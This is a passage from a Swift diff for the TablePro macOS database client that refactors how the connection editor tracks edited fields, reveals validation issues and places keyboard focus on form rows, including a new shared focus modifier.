+155,9 @@ struct GeneralPasswordRow: View { .fixedSize() } } label: { - EditorRowLabel(title, row: .builtIn(.password), store: store, isEdited: isEdited) + EditorRowLabel(title, row: .builtIn(.password), store: store) } - .editorRowFocus(.builtIn(.password), store: store, isFocused: $isFocused) - .editorRowFocus(.builtIn(.passwordMode), store: store, isFocused: $isFocused) + .editorRowFocus(.builtIn(.password), .builtIn(.passwordMode), store: store, isFocused: $isFocused) } private var revealTitle: String { @@ -177,7 +178,7 @@ struct GeneralPasswordRow: View { Binding( get: { store.draft.credentials.password }, set: { newValue in - isEdited = true + store.noteEdited(.builtIn(.password)) store.update { $0.credentials.password = newValue } } ) @@ -190,7 +191,7 @@ struct GeneralPasswordModeRow: View { var body: some View { if store.draft.credentials.passwordSource != nil { - Toggle(isOn: store.passwordPromptBinding) { + Toggle(isOn: store.tracking(store.passwordPromptBinding, row: .builtIn(.passwordMode))) { EditorRowLabel( store.traits.connectionMode == .apiOnly ? String(localized: "Prompt for API token") @@ -200,8 +201,10 @@ struct GeneralPasswordModeRow: View { ) } .accessibilityIdentifier(BuiltInRow.passwordMode.accessibilityIdentifier) + .editorRowFocus(.builtIn(.passwordMode), store: store) } else { GeneralPasswordStoragePicker(store: store, title: passwordTitle(store)) + .editorRowFocus(.builtIn(.passwordMode), store: store) } } } @@ -211,7 +214,7 @@ struct GeneralPasswordStoragePicker: View { let title: String var body: some View { - Picker(selection: store.passwordPromptBinding) { + Picker(selection: store.tracking(store.passwordPromptBinding, row: .builtIn(.passwordMode))) { Text(String(localized: "Store in Keychain")).tag(false) Text(String(localized: "Ask Every Time")).tag(true) } label: { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift index 72c8d34caa..4271cf463c 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift @@ -27,6 +27,7 @@ struct GeneralTypeRow: View { } label: { EditorRowLabel(String(localized: "Type"), row: .builtIn(.type), store: store) } + .editorRowFocus(.builtIn(.type), store: store) } } @@ -34,7 +35,7 @@ struct GeneralEnvironmentRow: View { @ObservedObject var store: ConnectionEditorStore var body: some View { - Picker(selection: store.environmentBinding) { + Picker(selection: store.tracking(store.environmentBinding, row: .builtIn(.environment))) { ForEach(ConnectionEnvironment.allCases) { environment in if let image = Self.symbol(for: environment) { Label { @@ -51,6 +52,7 @@ struct GeneralEnvironmentRow: View { EditorRowLabel(String(localized: "Environment"), row: .builtIn(.environment), store: store) } .accessibilityIdentifier(BuiltInRow.environment.accessibilityIdentifier) + .editorRowFocus(.builtIn(.environment), store: store) } // A menu item draws a template image in its own text color, so the tint is baked into a non-template copy. @@ -67,8 +69,6 @@ struct GeneralEnvironmentRow: View { struct GeneralSocketPathRow: View { @ObservedObject var store: ConnectionEditorStore - @State private var isEdited = false - private var prompt: String { store.traits.defaultLocalSocketPath ?? "" } var body: some View { @@ -82,14 +82,15 @@ struct GeneralSocketPathRow: View { value: Binding( get: { store.draft.localSocketPath }, set: { newValue in - isEdited = true + store.noteEdited(.builtIn(.localSocketPath)) store.update { $0.localSocketPath = newValue } } ) ) } label: { - EditorRowLabel(String(localized: "Socket"), row: .builtIn(.localSocketPath), store: store, isEdited: isEdited) + EditorRowLabel(String(localized: "Socket"), row: .builtIn(.localSocketPath), store: store) } + .editorRowFocus(.builtIn(.localSocketPath), store: store) } else { EditorTextRow( String(localized: "Socket"), diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift index 0fab76ec27..090207ebc4 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift @@ -39,22 +39,7 @@ struct GeneralFacetView: View { } } .formStyle(.grouped) - .onAppear(perform: placeInitialFocus) - } - - // A new connection starts where its address goes; an existing one at its name. - private func placeInitialFocus() { - guard store.focusRequest == nil, store.selectedFacet == .general else { return } - let rows = store.layout.facet(.general)?.sections.flatMap(\.rows) ?? [] - let target: EditorRow - if !store.isNew { - target = .builtIn(.name) - } else if let first = [EditorRow.builtIn(.host), .builtIn(.databaseFile)].first(where: { rows.contains($0) }) { - target = first - } else { - target = .builtIn(.name) - } - store.focus(facet: .general, row: target) + .onAppear { store.placeInitialFocusIfNeeded() } } private func socketStatus(for section: SectionLayout) -> String? { @@ -91,7 +76,7 @@ struct GeneralFacetView: View { EditorTextRow( String(localized: "Name"), text: store.binding(\.name), - prompt: String(localized: "Connection name"), + prompt: store.namePrompt, row: .builtIn(.name), store: store ) @@ -100,13 +85,14 @@ struct GeneralFacetView: View { case .environment: GeneralEnvironmentRow(store: store) case .endpointKind: - Picker(selection: store.endpointBinding) { + Picker(selection: store.tracking(store.endpointBinding, row: .builtIn(.endpointKind))) { Text(String(localized: "Host and Port")).tag(ConnectionDraft.Endpoint.hostAndPort) Text(String(localized: "Socket")).tag(ConnectionDraft.Endpoint.localSocket) } label: { EditorRowLabel(String(localized: "Connect Using"), row: .builtIn(.endpointKind), store: store) } .accessibilityIdentifier(BuiltInRow.endpointKind.accessibilityIdentifier) + .editorRowFocus(.builtIn(.endpointKind), store: store) case .localSocketPath: GeneralSocketPathRow(store: store) case .host: diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift index 7bde9e2201..8d03b62938 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift @@ -13,8 +13,8 @@ enum EditorCodeLanguage { case json } -// A multi-line editor that is a Section of its own: the header names it. It grows with its lines from minHeight, -// Tab leaves it as in any form field, and Escape stays inside it instead of cancelling the window. +// A multi-line editor that is a Section of its own: the header names it. It grows with its lines from minHeight, and +// Tab leaves it as in any form field. Escape in it never cancels the window: the window controller ends the edit. struct EditorCodeEditor: View { @Binding private var text: String private let language: EditorCodeLanguage @@ -22,8 +22,6 @@ struct EditorCodeEditor: View { @ObservedObject private var store: ConnectionEditorStore private let minHeight: CGFloat - @State private var isEdited = false - private static let maxHeight: CGFloat = 320 init( @@ -43,21 +41,18 @@ struct EditorCodeEditor: View { var body: some View { VStack(alignment: .leading, spacing: 6) { TextValueEditor( - text: $text, + text: store.tracking($text, row: row), font: font, borderType: .bezelBorder, movesFocusOnTab: true, style: language == .plain ? .plain : .code ) .frame(height: height) - .background(EditorCodeEditorAnchor(focusToken: focusToken)) + .editorRowFocus(row, store: store) .accessibilityIdentifier(row.accessibilityIdentifier) - if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { - NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) - } + EditorRowIssueNotice(row: row, store: store) } - .onChange(of: text) { _ in isEdited = true } } private var font: NSFont { @@ -67,11 +62,6 @@ struct EditorCodeEditor: View { : .monospacedSystemFont(ofSize: size, weight: .regular) } - private var focusToken: UUID? { - guard let request = store.focusRequest, request.row == row else { return nil } - return request.token - } - // Hard line breaks only: a wrapped long line scrolls inside the editor rather than growing it. private var height: CGFloat { let lines = CGFloat(text.reduce(into: 1) { count, character in @@ -83,89 +73,3 @@ struct EditorCodeEditor: View { return min(max(content, minHeight), max(minHeight, Self.maxHeight)) } } - -// The editor's text view is TextValueEditor's, shared with the grid and the inspectors, so the editor-only key -// handling lives here. A window's Cancel button answers Escape as a key equivalent before the text view sees the -// key, which is why a local monitor, not the text view's delegate, keeps it. -private struct EditorCodeEditorAnchor: NSViewRepresentable { - let focusToken: UUID? - - func makeCoordinator() -> Coordinator { Coordinator() } - - func makeNSView(context: Context) -> NSView { - let view = NSView() - context.coordinator.anchor = view - context.coordinator.installMonitor() - return view - } - - func updateNSView(_ view: NSView, context: Context) { - context.coordinator.focus(token: focusToken) - } - - static func dismantleNSView(_ view: NSView, coordinator: Coordinator) { - coordinator.removeMonitor() - } - - @MainActor - final class Coordinator { - weak var anchor: NSView? - private var monitor: Any? - private var handledToken: UUID? - - private static let escapeKeyCode: UInt16 = 53 - - func installMonitor() { - guard monitor == nil else { return } - monitor = NSEvent.addLocalMonitorForEvents(matching: .keyDown) { [weak self] nsEvent in - nonisolated(unsafe) let event = nsEvent - let swallowed = MainActor.assumeIsolated { () -> Bool in - guard let self else { return false } - return self.swallows(event) - } - return swallowed ? nil : nsEvent - } - } - - func removeMonitor() { - if let monitor { NSEvent.removeMonitor(monitor) } - monitor = nil - } - - private func swallows(_ event: NSEvent) -> Bool { - guard event.keyCode == Self.escapeKeyCode, - event.modifierFlags.intersection(.deviceIndependentFlagsMask).subtracting(.function).isEmpty, - let window = anchor?.window, event.window === window, - let textView = window.firstResponder as? NSTextView - else { return false } - return owns(textView) - } - - func focus(token: UUID?) { - guard let token, token != handledToken else { return } - handledToken = token - DispatchQueue.main.async { [weak self] in - guard let self, let window = self.anchor?.window, let textView = self.ownedTextView(in: window) else { return } - window.makeFirstResponder(textView) - } - } - - // The anchor is the editor's background, so it covers the same rect as the editor's scroll view. - private func owns(_ textView: NSTextView) -> Bool { - guard !textView.isFieldEditor, let anchor, let scrollView = textView.enclosingScrollView else { return false } - let anchorRect = anchor.convert(anchor.bounds, to: nil).insetBy(dx: -2, dy: -2) - let editorRect = scrollView.convert(scrollView.bounds, to: nil) - return anchorRect.contains(CGPoint(x: editorRect.midX, y: editorRect.midY)) - } - - private func ownedTextView(in window: NSWindow) -> NSTextView? { - guard let root = window.contentView else { return nil } - var stack: [NSView] = [root] - while let view = stack.popLast() { - if let textView = view as? NSTextView, owns(textView) { return textView } - stack.append(contentsOf: view.subviews) - } - return nil - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift index da4648fd66..faffb7ac05 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift @@ -19,7 +19,6 @@ struct EditorOptionalNumberRow: View { private let prompt: String? @State private var text: String - @State private var isEdited = false @FocusState private var isFocused: Bool init( @@ -48,7 +47,7 @@ struct EditorOptionalNumberRow: View { var body: some View { LabeledContent { HStack(alignment: .firstTextBaseline, spacing: 6) { - TextField(text: $text, prompt: promptText.map { Text(verbatim: $0) }) { + TextField(text: store.tracking($text, row: row), prompt: promptText.map { Text(verbatim: $0) }) { Text(verbatim: title) } .labelsHidden() @@ -69,12 +68,11 @@ struct EditorOptionalNumberRow: View { Text(verbatim: title) NoticeLabel(localError, severity: .error) } else { - EditorRowLabel(title, row: row, store: store, subtitle: subtitle, isEdited: isEdited) + EditorRowLabel(title, row: row, store: store, subtitle: subtitle) } } .editorRowFocus(row, store: store, isFocused: $isFocused) .onChange(of: text) { newText in - isEdited = true write(newText) } .onChange(of: value) { newValue in diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift index 0813a3b7fe..3e5e262f36 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift @@ -16,7 +16,6 @@ struct EditorPathRow: View { private let buttonTitle: String private let choose: @MainActor () async -> String? - @State private var isEdited = false @FocusState private var isFocused: Bool init( @@ -40,7 +39,7 @@ struct EditorPathRow: View { var body: some View { LabeledContent { HStack(spacing: 8) { - TextField(text: $path, prompt: prompt.map { Text(verbatim: $0) }) { + TextField(text: store.tracking($path, row: row), prompt: prompt.map { Text(verbatim: $0) }) { Text(verbatim: title) } .labelsHidden() @@ -50,16 +49,20 @@ struct EditorPathRow: View { Button(buttonTitle) { Task { - if let chosen = await choose() { path = chosen } + if let chosen = await choose() { pick(chosen) } } } .accessibilityIdentifier("\(row.accessibilityIdentifier)-choose") } } label: { - EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + EditorRowLabel(title, row: row, store: store) } .editorRowFocus(row, store: store, isFocused: $isFocused) - .onChange(of: path) { _ in isEdited = true } + } + + private func pick(_ chosen: String) { + store.noteEdited(row) + path = chosen } } @@ -73,7 +76,6 @@ struct EditorDatabaseFileRow: View { private let chooseIdentifier: String private let newIdentifier: String - @State private var isEdited = false @FocusState private var isFocused: Bool init( @@ -99,7 +101,7 @@ struct EditorDatabaseFileRow: View { var body: some View { LabeledContent { HStack(spacing: 8) { - TextField(text: $path, prompt: prompt.map { Text(verbatim: $0) }) { + TextField(text: store.tracking($path, row: row), prompt: prompt.map { Text(verbatim: $0) }) { Text(verbatim: title) } .labelsHidden() @@ -122,10 +124,14 @@ struct EditorDatabaseFileRow: View { } } } label: { - EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + EditorRowLabel(title, row: row, store: store) } .editorRowFocus(row, store: store, isFocused: $isFocused) - .onChange(of: path) { _ in isEdited = true } + } + + private func pick(_ chosen: String) { + store.noteEdited(row) + path = chosen } private func chooseExisting() async { @@ -134,7 +140,7 @@ struct EditorDatabaseFileRow: View { currentPath: path, in: EditorFilePanel.window(for: store) ) - if let chosen { path = chosen } + if let chosen { pick(chosen) } } private func nameNew() async { @@ -143,7 +149,7 @@ struct EditorDatabaseFileRow: View { currentPath: path, in: EditorFilePanel.window(for: store) ) - if let chosen { path = chosen } + if let chosen { pick(chosen) } } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift new file mode 100644 index 0000000000..f9580275f7 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift @@ -0,0 +1,147 @@ +// +// EditorRowFocus.swift +// TablePro +// + +import AppKit +import SwiftUI + +extension View { + // A row whose SwiftUI field carries `.focused(isFocused)`. + func editorRowFocus( + _ rows: EditorRow..., + store: ConnectionEditorStore, + isFocused: FocusState.Binding + ) -> some View { + modifier(EditorFocusRequestModifier(rows: rows, store: store) { isFocused.wrappedValue = true }) + } + + // Any other row: a picker, a toggle, a code editor, an AppKit control or a composite row. It scrolls into view and + // its first control that takes focus does, where Keyboard Navigation lets a pop-up or a toggle take it. + func editorRowFocus(_ row: EditorRow, store: ConnectionEditorStore) -> some View { + modifier(EditorRowAnchorFocusModifier(row: row, store: store)) + } + + // A row that picks which of its fields takes the focus. + func onEditorFocusRequest(_ row: EditorRow, store: ConnectionEditorStore, perform: @escaping @MainActor () -> Void) -> some View { + modifier(EditorFocusRequestModifier(rows: [row], store: store, perform: perform)) + } +} + +private struct EditorFocusRequestModifier: ViewModifier { + let rows: [EditorRow] + @ObservedObject var store: ConnectionEditorStore + let perform: @MainActor () -> Void + + @State private var handledToken: UUID? + + func body(content: Content) -> some View { + content + .onAppear { apply(store.focusRequest) } + .onChange(of: store.focusRequest) { apply($0) } + } + + // Deferred a turn: a facet built for this request is not in the window yet when it lands. + private func apply(_ request: FocusRequest?) { + guard let request, rows.contains(request.row), request.token != handledToken else { return } + handledToken = request.token + DispatchQueue.main.async { + perform() + store.didApplyFocus(request) + } + } +} + +private struct EditorRowAnchorFocusModifier: ViewModifier { + let row: EditorRow + let store: ConnectionEditorStore + + @State private var target = EditorRowFocusTarget() + + func body(content: Content) -> some View { + content + .background(EditorRowFocusAnchor(target: target)) + .onEditorFocusRequest(row, store: store) { target.focus() } + } +} + +// SwiftUI cannot focus a field inside an AppKit control or a composite row, so the row's own frame finds it. +@MainActor +final class EditorRowFocusTarget { + weak var anchor: NSView? + private var pendingFocus = false + + func focus() { + guard let anchor, let window = anchor.window else { + pendingFocus = true + return + } + pendingFocus = false + anchor.scrollToVisible(anchor.bounds) + if let control = Self.firstFocusableView(inside: anchor, of: window) { + window.makeFirstResponder(control) + } + } + + func anchorDidMoveToWindow() { + guard pendingFocus else { return } + DispatchQueue.main.async { [weak self] in self?.focus() } + } + + // Text input first, in reading order; a control only when the row has no text input. + static func firstFocusableView(inside anchor: NSView, of window: NSWindow) -> NSView? { + guard let root = window.contentView else { return nil } + let area = anchor.convert(anchor.bounds, to: nil).insetBy(dx: -2, dy: -2) + var candidates: [(view: NSView, rect: NSRect, isText: Bool)] = [] + var stack: [NSView] = [root] + while let view = stack.popLast() { + stack.append(contentsOf: view.subviews) + guard !view.isHiddenOrHasHiddenAncestor, view !== anchor, view.acceptsFirstResponder else { continue } + if let textView = view as? NSTextView, textView.isFieldEditor { continue } + let frameView = (view as? NSTextView)?.enclosingScrollView ?? view + let rect = frameView.convert(frameView.bounds, to: nil) + guard rect.width > 0, rect.height > 0, area.contains(NSPoint(x: rect.midX, y: rect.midY)) else { continue } + let isText = view is NSTextView || (view as? NSTextField)?.isEditable == true + guard isText || view.canBecomeKeyView else { continue } + candidates.append((view, rect, isText)) + } + let ordered = candidates.sorted { lhs, rhs in + if lhs.isText != rhs.isText { return lhs.isText } + if abs(lhs.rect.maxY - rhs.rect.maxY) > 1 { return lhs.rect.maxY > rhs.rect.maxY } + return lhs.rect.minX < rhs.rect.minX + } + return ordered.first?.view + } +} + +private struct EditorRowFocusAnchor: NSViewRepresentable { + let target: EditorRowFocusTarget + + func makeNSView(context: Context) -> EditorRowFocusAnchorView { + let view = EditorRowFocusAnchorView() + view.target = target + target.anchor = view + return view + } + + func updateNSView(_ view: EditorRowFocusAnchorView, context: Context) { + view.target = target + target.anchor = view + } +} + +final class EditorRowFocusAnchorView: NSView { + weak var target: EditorRowFocusTarget? + + override func viewDidMoveToWindow() { + super.viewDidMoveToWindow() + if window != nil { + target?.anchorDidMoveToWindow() + } + } + + // A background, never a target for clicks or VoiceOver. + override func hitTest(_ point: NSPoint) -> NSView? { nil } + + override func isAccessibilityElement() -> Bool { false } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift index d358013e83..fd00dfedea 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift @@ -5,74 +5,44 @@ import SwiftUI -// A row's title, with its issue as the subtitle once the person has touched the field or tried to save. +// A row's title, with its issue as the subtitle once the store reveals it. struct EditorRowLabel: View { private let title: String private let row: EditorRow @ObservedObject private var store: ConnectionEditorStore private let subtitle: String? - private let isEdited: Bool - init( - _ title: String, - row: EditorRow, - store: ConnectionEditorStore, - subtitle: String? = nil, - isEdited: Bool = false - ) { + init(_ title: String, row: EditorRow, store: ConnectionEditorStore, subtitle: String? = nil) { self.title = title self.row = row self.store = store self.subtitle = subtitle - self.isEdited = isEdited } var body: some View { Text(verbatim: title) - if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { - NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) + if let issue = store.revealedIssue(for: row) { + NoticeLabel(issue.message, severity: issue.noticeSeverity) } else if let subtitle { Text(verbatim: subtitle) } } } -@MainActor -enum EditorIssueVisibility { - // A pristine new form is never painted red: its empty required fields show only their prompts until an edit or a - // Save. A focus request does not reveal, since the editor also uses one to place the cursor when it opens. - static func issue(for row: EditorRow, in store: ConnectionEditorStore, isEdited: Bool) -> FieldIssue? { - guard let issue = store.issue(for: row) else { return nil } - let revealed = isEdited || !store.isNew || store.saveError != nil - return revealed ? issue : nil - } -} - -private struct EditorRowFocusModifier: ViewModifier { +// For a row whose control is the whole row (a list, a code editor), so its issue sits under the control. +struct EditorRowIssueNotice: View { let row: EditorRow @ObservedObject var store: ConnectionEditorStore - let isFocused: FocusState.Binding - - @State private var handledToken: UUID? - func body(content: Content) -> some View { - content - .onAppear { apply(store.focusRequest) } - .onChange(of: store.focusRequest) { apply($0) } - } - - // Deferred a turn: a facet that was just selected is not in the window yet when the request lands. - private func apply(_ request: FocusRequest?) { - guard let request, request.row == row, request.token != handledToken else { return } - handledToken = request.token - DispatchQueue.main.async { - isFocused.wrappedValue = true + var body: some View { + if let issue = store.revealedIssue(for: row) { + NoticeLabel(issue.message, severity: issue.noticeSeverity) } } } -extension View { - func editorRowFocus(_ row: EditorRow, store: ConnectionEditorStore, isFocused: FocusState.Binding) -> some View { - modifier(EditorRowFocusModifier(row: row, store: store, isFocused: isFocused)) +extension FieldIssue { + var noticeSeverity: NoticeSeverity { + severity == .error ? .error : .warning } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift index 6c04f20dae..719492c5cc 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift @@ -12,7 +12,6 @@ struct EditorTextRow: View { private let row: EditorRow @ObservedObject private var store: ConnectionEditorStore - @State private var isEdited = false @FocusState private var isFocused: Bool init(_ title: String, text: Binding, prompt: String? = nil, row: EditorRow, store: ConnectionEditorStore) { @@ -24,14 +23,13 @@ struct EditorTextRow: View { } var body: some View { - TextField(text: $text, prompt: prompt.map { Text(verbatim: $0) }) { - EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + TextField(text: store.tracking($text, row: row), prompt: prompt.map { Text(verbatim: $0) }) { + EditorRowLabel(title, row: row, store: store) } .autocorrectionDisabled() .focused($isFocused) .accessibilityIdentifier(row.accessibilityIdentifier) .editorRowFocus(row, store: store, isFocused: $isFocused) - .onChange(of: text) { _ in isEdited = true } } } @@ -42,7 +40,6 @@ struct EditorSecureRow: View { private let row: EditorRow @ObservedObject private var store: ConnectionEditorStore - @State private var isEdited = false @FocusState private var isFocused: Bool init(_ title: String, text: Binding, prompt: String? = nil, row: EditorRow, store: ConnectionEditorStore) { @@ -54,12 +51,11 @@ struct EditorSecureRow: View { } var body: some View { - SecureField(text: $text, prompt: prompt.map { Text(verbatim: $0) }) { - EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + SecureField(text: store.tracking($text, row: row), prompt: prompt.map { Text(verbatim: $0) }) { + EditorRowLabel(title, row: row, store: store) } .focused($isFocused) .accessibilityIdentifier(row.accessibilityIdentifier) .editorRowFocus(row, store: store, isFocused: $isFocused) - .onChange(of: text) { _ in isEdited = true } } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift index 9af9b66195..aeb9ebe31a 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift @@ -12,8 +12,6 @@ struct PluginFieldRow: View { @ObservedObject private var store: ConnectionEditorStore private let title: String? - @State private var isEdited = false - // `title` replaces the plugin's label where the facet shows it under a header that already says it. init(fieldID: String, store: ConnectionEditorStore, title: String? = nil) { self.fieldID = fieldID @@ -50,11 +48,13 @@ struct PluginFieldRow: View { label(field) } .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) case .toggle: Toggle(isOn: toggleBinding(value)) { label(field) } .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) case .stepper(let range): LabeledContent { ConnectionStepperField( @@ -68,6 +68,7 @@ struct PluginFieldRow: View { } label: { label(field) } + .editorRowFocus(row, store: store) case .hostList: LabeledContent { HostListFieldRow( @@ -82,6 +83,7 @@ struct PluginFieldRow: View { } label: { label(field) } + .editorRowFocus(row, store: store) case .attachedDatabases: listEditor { AttachedDatabaseListEditor(value: trackingEdits(value), databaseType: store.draft.type) @@ -116,11 +118,12 @@ struct PluginFieldRow: View { } label: { label(field) } + .editorRowFocus(row, store: store) } } private func label(_ field: ConnectionField) -> EditorRowLabel { - EditorRowLabel(title ?? field.label, row: row, store: store, isEdited: isEdited) + EditorRowLabel(title ?? field.label, row: row, store: store) } // A list is the whole row, titled by its section header, so its issue sits under it in the same row. @@ -129,10 +132,9 @@ struct PluginFieldRow: View { editor() .accessibilityElement(children: .contain) .accessibilityIdentifier(row.accessibilityIdentifier) - if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { - NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) - } + EditorRowIssueNotice(row: row, store: store) } + .editorRowFocus(row, store: store) } private func trackingEdits(_ binding: Binding) -> Binding { @@ -140,7 +142,7 @@ struct PluginFieldRow: View { get: { binding.wrappedValue }, set: { newValue in guard newValue != binding.wrappedValue else { return } - isEdited = true + store.noteEdited(row) binding.wrappedValue = newValue } ) @@ -150,7 +152,7 @@ struct PluginFieldRow: View { Binding( get: { binding.wrappedValue == "true" }, set: { newValue in - isEdited = true + store.noteEdited(row) binding.wrappedValue = newValue ? "true" : "false" } ) diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift index 77f44f55c6..b7df453b2a 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift @@ -257,7 +257,7 @@ private struct SSHAndProxiesTransportPicker: View { private let row = EditorRow.builtIn(.transport) var body: some View { - Picker(selection: store.transportBinding) { + Picker(selection: store.tracking(store.transportBinding, row: row)) { ForEach(store.availableTransports, id: \.self) { transport in Text(transport?.displayName ?? ConnectionTunnelKind.directDisplayName).tag(transport) } @@ -265,6 +265,7 @@ private struct SSHAndProxiesTransportPicker: View { EditorRowLabel(String(localized: "Connect via"), row: row, store: store, subtitle: store.tunnelHostListAdvice) } .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) } } @@ -283,13 +284,14 @@ private struct SSHAndProxiesRemoteFileRow: View { store: store ) case .remoteFileAccess: - Picker(selection: store.binding(\.ssh.remoteFileAccess)) { + Picker(selection: store.tracking(store.binding(\.ssh.remoteFileAccess), row: .builtIn(row))) { Text(String(localized: "On the Server")).tag(RemoteFileAccess.onServer) Text(String(localized: "As a Read-Only Copy")).tag(RemoteFileAccess.readOnlyCopy) } label: { EditorRowLabel(String(localized: "Open"), row: .builtIn(row), store: store) } .accessibilityIdentifier(EditorRow.builtIn(row).accessibilityIdentifier) + .editorRowFocus(.builtIn(row), store: store) default: EmptyView() } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift index 9713ca58af..c94aecc8c3 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift @@ -17,12 +17,10 @@ struct SSHAndProxiesJumpHostRows: View { } @FocusState private var focusedField: Field? - @State private var handledToken: UUID? - @State private var isEdited = false private var row: EditorRow { .builtIn(.jumpHost(id)) } private var identifier: String { row.accessibilityIdentifier } - private var jumpHost: Binding { store.jumpHostBinding(id) } + private var jumpHost: Binding { store.tracking(store.jumpHostBinding(id), row: row) } private var jumpHosts: [SSHJumpHost] { store.draft.ssh.jumpHosts } private var index: Int { jumpHosts.firstIndex { $0.id == id } ?? 0 } @@ -53,13 +51,10 @@ struct SSHAndProxiesJumpHostRows: View { EditorRowLabel( String(format: String(localized: "Jump Host %lld"), Int64(index + 1)), row: row, - store: store, - isEdited: isEdited + store: store ) } - .onAppear { applyFocus(store.focusRequest) } - .onChange(of: store.focusRequest) { applyFocus($0) } - .onChange(of: jumpHost.wrappedValue) { _ in isEdited = true } + .onEditorFocusRequest(row, store: store, perform: focusMissingField) TextField(String(localized: "Port"), text: portText, prompt: Text(verbatim: "22")) .accessibilityIdentifier("\(identifier)-port") @@ -142,14 +137,9 @@ struct SSHAndProxiesJumpHostRows: View { } // The issue covers the whole hop, so focus lands on the field that is missing. - private func applyFocus(_ request: FocusRequest?) { - guard let request, request.row == row, request.token != handledToken else { return } - handledToken = request.token + private func focusMissingField() { let hop = jumpHost.wrappedValue - let field: Field = !hop.host.isEmpty && hop.authMethod == .privateKey && hop.privateKeyPath.isEmpty ? .keyFile : .host - DispatchQueue.main.async { - focusedField = field - } + focusedField = !hop.host.isEmpty && hop.authMethod == .privateKey && hop.privateKeyPath.isEmpty ? .keyFile : .host } private static func title(of method: SSHJumpAuthMethod) -> String { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift index f8f92cdd89..18a1d571fd 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift @@ -133,7 +133,7 @@ struct SSHAndProxiesSSHRow: View { if option == .custom { TextField( String(localized: "Path"), - text: store.binding(\.ssh.customAgentSocketPath), + text: store.tracking(store.binding(\.ssh.customAgentSocketPath), row: editorRow), prompt: Text(verbatim: "/path/to/agent.sock") ) .autocorrectionDisabled() @@ -142,7 +142,7 @@ struct SSHAndProxiesSSHRow: View { } } -// A menu picker whose label carries the row's issue, revealed once the person picks something. +// A menu picker whose label carries the row's issue. struct SSHAndProxiesPicker: View { private let title: String @Binding private var 